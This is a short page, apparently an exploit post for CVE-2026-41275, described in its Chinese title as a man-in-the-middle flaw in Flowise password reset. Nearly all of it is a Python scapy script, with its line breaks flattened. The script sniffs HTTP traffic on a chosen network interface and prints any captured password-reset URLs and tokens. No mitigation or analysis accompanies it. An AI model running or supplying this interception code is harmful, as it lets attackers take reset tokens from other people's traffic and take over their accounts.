CVE-2026-41275 Flowise密码重置中间人漏洞

import scapy.all as scapy def sniff_packet(interface): # Sniffing traffic on the specified interface to capture HTTP packets scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet) def process_sniffed_packet(packet): # Check if the packet has a TCP layer and Raw layer (payload) if packet.haslayer(scapy.TCP) and packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load # Convert payload to string for searching payload_str = payload.decode('utf-8', errors='ignore') # Look for password reset keywords in the HTTP stream if 'reset-password' in payload_str and 'token=' in payload_str: print(f"[+] Captured Potential Reset Link: {payload_str}") # Extract the specific URL (simplified logic) start = payload_str.find('http://') end = payload_str.find(' ', start) if start != -1: print(f"[+] Intercepted Token URL: {payload_str[start:end]}") # Usage: Replace 'eth0' with the target network interface # sniff_packet('eth0')